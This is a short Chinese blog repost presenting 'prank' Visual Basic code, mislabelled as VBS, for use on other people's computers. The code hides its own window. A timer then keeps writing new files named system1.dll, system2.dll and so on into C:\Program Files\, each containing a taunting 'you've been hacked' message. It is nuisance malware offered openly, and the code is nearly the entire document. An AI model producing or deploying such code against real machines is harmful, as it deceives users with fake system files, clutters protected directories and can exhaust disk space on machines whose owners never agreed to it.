不许把鼠标移到这里 嘻试吧爽噢。。vbs整人代码 代码如下: 复制代码 代码如下: Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer() '声明变量,其中“count”为静态变量,以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long '定义要把生成的文件存放在那个目录文件下 c = "C:\Program Files\" '生成文件的内容 nr = "哈哈,被黑的感觉的不错吧" files = FreeFile '如果a等于a那么就执行 If a = a Then 'count不断的加1,以便产生不同的文件名 count = count + 1 '产生文件名及文件句柄,并用count作为产生不同的文件名。 Open c & "system" & count & ".dll" For Append As #files '向文件写内容 Write #files, nr '清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示 Close #files End If End Sub
转载于:https://my.oschina.net/doloop/blog/140553